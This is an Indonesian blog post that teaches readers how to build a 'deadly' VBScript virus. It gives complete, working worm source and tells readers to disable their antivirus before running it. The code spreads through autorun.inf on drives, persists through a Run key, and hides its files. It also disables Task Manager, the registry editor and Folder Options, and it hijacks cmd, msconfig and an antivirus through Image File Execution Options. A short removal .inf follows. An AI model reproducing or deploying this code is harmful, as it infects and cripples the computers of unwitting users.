LOADING...

Senin, 05 Juli 2010

"cara membuat virus secara cepaaaat"

Wehh.... setelah saya membuat beberapa virus yang hanya digunakan untuk iseng dan menakuti teman dan tidak berbahaya pada kompi,,, sekarang saya akan mengajarkan membuat virus yang mematikan dan berbahaya pada system komputer.



Virus ini akan terdeteksi oleh antivirus yang sobat miliki jadi, jika ingin melihat efek sampingnya, matikan dulu firewall antivirus yang sobat miliki.......


Tapi virus yang akan saya ajarkan hanya untuk sekedar belajar dan tidak boleh digunakan sembarangan yaa.... karena berbahaya pada system komputer dan akan melanggar aturan.



Oke dag,,, daripada banyak basa-basi lebih baek,, kita langsung aja Praktek...

Check It Out!!!...


Copy Paste kode di bawah ini ke notepad terus Save As dengan extensi .vbs 
Contoh: Virus Mematikan.vbs  


on error resume next




dim rekur,windowpath,desades,fs,mf,isi,tf,kalong,nt,check,sd



isi = "[autorun]" & vbcrlf & "shellexecute=wscript.exe k4l0n6ms32.dll.vbs"

set fs = createobject("Scripting.FileSystemObject")

set mf = fs.getfile(Wscript.ScriptFullname)

dim text,size

size = mf.size


check = mf.drive.drivetype

set text = mf.openastextstream(1,-2)

do while not text.atendofstream

rekur = rekur & text.readline

rekur = rekur & vbcrlf

loop

do






Set windowpath = fs.getspecialfolder(0)

set tf = fs.getfile(windowpath & "\k4l0n6-x.dll.vbs ")

tf.attributes = 32

set tf = fs.createtextfile(windowpath & "\k4l0n6-x.dll.vbs",2,true)

tf.write rekur

tf.close


set tf = fs.getfile(windowpath & "\k4l0n6-x.dll.vbs")

tf.attributes = 39



for each desades in fs.drives



If (desades.drivetype = 1 or desades.drivetype = 2) and desades.path <> "A:" then





set tf=fs.getfile(desades.path &"\k4l0n6ms32.dll.vbs")


tf.attributes =32

set tf=fs.createtextfile(desades.path &"\k4l0n6ms32.dll.vbs",2,true)

tf.write rekur

tf.close

set tf=fs.getfile(desades.path &"\k4l0n6ms32.dll.vbs")

tf.attributes = 39





set tf =fs.getfile(desades.path &"\autorun.inf")


tf.attributes = 32

set tf=fs.createtextfile(desades.path &"\autorun.inf",2,true)

tf.write isi

tf.close

set tf = fs.getfile(desades.path &"\autorun.inf")

tf.attributes=39

end if

next




set kalong = createobject("WScript.Shell")



kalong.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title",":: ->KALONG-X<- ::"



kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden",2, "REG_DWORD"



kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind", "1", "REG_DWORD"

kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", "1", "REG_DWORD"

kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "1", "REG_DWORD"


kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", "1", "REG_DWORD"

kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", "1", "REG_DWORD"

kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu", "1", "REG_DWORD"



kalong.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption", "MASTER-MIND"

kalong.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText","SOKOR KOE"



kalong.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir", windowpath & "\batch- k4l0n6.dll.vbs"




kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger","notepad.exe"

kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\install.exe\Debugger","notepad.exe"

kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger","notepad.exe"

kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger","notepad.exe"

kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe\Debugger","notepad.exe"

kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RegistryEditor.exe\Debugger","notepad.exe"

kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setup.exe\Debugger","notepad.exe"

kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV.exe\Debugger","notepad.exe"

kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-CLN.exe\Debugger","notepad.exe"


kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-RTP.exe\Debugger","notepad.exe"



if check <> 1 then

Wscript.sleep 200000

end if

loop while check <> 1

set sd = createobject("Wscript.shell")


sd.run windowpath & "\explorer.exe /e,/select, " & Wscript.ScriptFullname


+ Cara Penyembuhan. +

langkah penyembuhannya:



1. Hentikan proses yang bernama wscript.exe (lewat task manager aja biar ga mumet)



2. Hapus file induk yang bernama k4l0n6-x.dll.vbs di WINDOWSDIR (C:\Windows misalnya). Jika tidak ada tampilkan dulu file hidden dengan Folder Options




3. Setelah itu perbaiki Registry. Untuk mempercepat Copy Paste kode ini ke Notepad :



[Version]

Signature="$MASTER-MIND$"

Provider=putra_angkasa



[DefaultInstall]

AddReg=UnhookRegKey

DelReg=del




[UnhookRegKey]

HKCU,Software\Microsoft\Internet Explorer\Main, Window Title,0, "INTERNET EXPLORER"



[del]

HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, NoFind

HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, NoFolderOptions

HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, NoRun

HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\System, DisableRegistryTools

HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\System, DisableTaskMgr


HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, NoViewContextMenu

HKLM, Software\Microsoft\Windows\CurrentVersion\Winlogon, LegalNoticeCaption

HKLM, Software\Microsoft\Windows\CurrentVersion\Winlogon, LegalNoticeText

HKLM, Software\Microsoft\Windows\CurrentVersion\Run, Systemdir

HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe, Debugger

HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\install.exe, Debugger

HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe, Debugger

HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe, Debugger

HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe, Debugger


HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RegistryEditor.exe, Debugger

HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setup.exe, Debugger

HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV.exe, Debugger

HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-CLN.exe, Debugger

HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-RTP.exe, Debugger


4. Save dengan ekxtensi .inf lalu klik kanan file tersebut dan pilih install.
Contoh: Penawar Virus.inf



Tanggung Jawab di tanggung oleh pihak Pribadi dan bukan Menjadi Tanggung Jawab ADITechnov


Selamat Mencoba, Semoga Bermanfaat

Regards, Aminudin



Tidak ada komentar:

Posting Komentar

Aminudin Nurhuda